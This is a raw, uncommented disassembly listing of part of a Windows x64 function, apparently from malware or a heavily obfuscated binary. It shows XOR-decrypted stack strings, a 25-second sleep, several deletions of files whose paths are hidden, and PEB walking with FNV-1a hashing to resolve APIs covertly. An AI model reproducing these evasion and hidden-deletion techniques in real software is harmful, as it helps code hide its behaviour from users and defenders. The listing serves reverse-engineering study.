movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x46], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x47], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x4a], al
movzx edi, byte [rsp + 0xdb]
mov byte [rsp + 0x4b], dil
movzx esi, byte [rsp + 0xdc]
mov byte [rsp + 0x4c], sil
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x4e], al
mov byte [rsp + 0x4f], r13b
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x50], al
movzx ebx, byte [rsp + 0xdd]
mov byte [rsp + 0x51], bl
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x57], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x5b], al
xor eax, eax
mov byte [rsp + 0x5c], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x140053480
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
nop word [rax + rax]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x40]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x40], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x44]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x44], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x48]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x48], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x4c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x4c], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x140053330
cmp r8d, 0x1c
jae 0x1400534a4
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x1c
jb 0x140053480
mov byte [rsp + 0x5c], 0
lea rcx, [rsp + 0x40]
call r10
mov ecx, 0x61a8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x45], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x46], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x47], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x4a], al
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x4b], al
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x4c], al
movzx eax, byte [rsp + 0xba]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x4e], al
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x4f], al
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0xbe]
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0xc1]
mov byte [rsp + 0x54], al
xor eax, eax
mov byte [rsp + 0x55], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x140053720
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
nop word [rax + rax]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x40]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x40], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x44]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x44], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x48]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x48], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x4c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x4c], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x1400535d0
cmp r8d, 0x15
jae 0x140053744
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x15
jb 0x140053720
mov byte [rsp + 0x55], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0xc2]
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0xc3]
mov byte [rsp + 0x9c], al
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0x9d], al
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x9e], al
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x9f], al
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0xa0], al
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0xa1], al
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0xa2], al
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0xa3], al
movzx eax, byte [rsp + 0xcb]
mov byte [rsp + 0xa4], al
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0xa6], al
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0xa7], al
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0xaa], al
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0xab], al
movzx eax, byte [rsp + 0xd2]
mov byte [rsp + 0xac], al
movzx eax, byte [rsp + 0xd3]
mov byte [rsp + 0xad], al
movzx eax, byte [rsp + 0xd4]
mov byte [rsp + 0xae], al
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0xaf], al
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xd7]
mov byte [rsp + 0xb1], al
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0xb3], al
movzx eax, byte [rsp + 0xda]
mov byte [rsp + 0xb4], al
xor eax, eax
mov byte [rsp + 0xb5], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x140053af0
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x90]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x90], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x94]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x94], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x98]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x98], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x9c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x9c], xmm4
add r8d, 0x10
cmp r8d, 0x20
jb 0x140053991
cmp r8d, 0x25
jae 0x140053b17
nop dword [rax]
movsxd rax, r8d
lea rdx, [rsp + 0x90]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x25
jb 0x140053af0
mov byte [rsp + 0xb5], 0
lea rcx, [rsp + 0x90]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x45], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x46], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x47], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x4a], al
mov byte [rsp + 0x4b], dil
mov byte [rsp + 0x4c], sil
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x4e], al
mov byte [rsp + 0x4f], r13b
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x50], al
mov byte [rsp + 0x51], bl
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x52], al
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x57], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x5b], al
xor eax, eax
mov byte [rsp + 0x5c], al
xor r8d, r8d
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 6
jl 0x140053dc0
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x40]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x40], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x44]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x44], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x48]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x48], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x4c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x4c], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x140053c71
cmp r8d, 0x1c
jae 0x140053de4
nop word [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x1c
jb 0x140053dc0
mov byte [rsp + 0x5c], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x45], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x46], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x47], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x48], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x4a], al
mov edx, ntohl
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
mov byte [rsp + 0x4b], al
mov edx, ntohl
mov cl, 0x79
call fcn.140043520
mov byte [rsp + 0x4c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x6d
call fcn.140043520
mov byte [rsp + 0x4d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x62
call fcn.140043520
mov byte [rsp + 0x4e], al
mov byte [rsp + 0x4f], r13b
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x6c
call fcn.140043520
mov byte [rsp + 0x50], al
mov byte [rsp + 0x51], bl
xor eax, eax
mov byte [rsp + 0x52], al
xor r8d, r8d
cmp edi, 6
jl 0x140054030
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
nop
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x40]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x40], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x44]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x44], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x48]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x48], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x4c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x4c], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x140053ee0
cmp r8d, 0x12
jae 0x140054054
nop dword [rax]
nop dword [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x12
jb 0x140054030
mov byte [rsp + 0x52], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword [0x140113780]
test rax, rax
jne 0x14005411f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140054107
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140054107
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140054102
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x1400540e0
cmp edx, 0x491e0a9c
je 0x140054224
test r8d, r8d
jne 0x1400540c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
jne 0x140054090
xor eax, eax
mov qword [0x140113780], rax
xor ecx, ecx
xor r14b, 0xd4
mov byte [rsp + 0x70], r14b
xor r15b, 0x68
mov byte [rsp + 0x71], r15b
xor r12b, 0xfc
mov byte [rsp + 0x72], r12b
mov byte [rsp + 0x73], cl
lea rcx, [rsp + 0x70]
call rax
nop
mov rax, qword [rsp + 0x160]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x160], rbx
mov rax, qword [rsp + 0x160]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x15c], edx
lea rcx, [rsp + 0x168]
call fcn.1400578c0
lea rcx, [rsp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x208]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x14005425d
mov rdx, qword [rsp + 0x120]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054240
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140054240
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x1400530a9
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x1400531c9
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140054118
call fcn.1400c2700
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x270], rbx
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x26c], edx
lea rcx, [rsp + 0x278]
call fcn.1400578c0
lea rcx, [rsp + 0x280]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x318]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x140054311
mov rdx, qword [rsp + 0x138]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400542f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400542f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2700
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], 0
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x380], rbx
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x37c], edx
lea rcx, [rsp + 0x388]
call fcn.1400578c0
lea rcx, [rsp + 0x390]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x428]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x1400543ad
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400543a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400543a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c2700
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400c2370
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
ret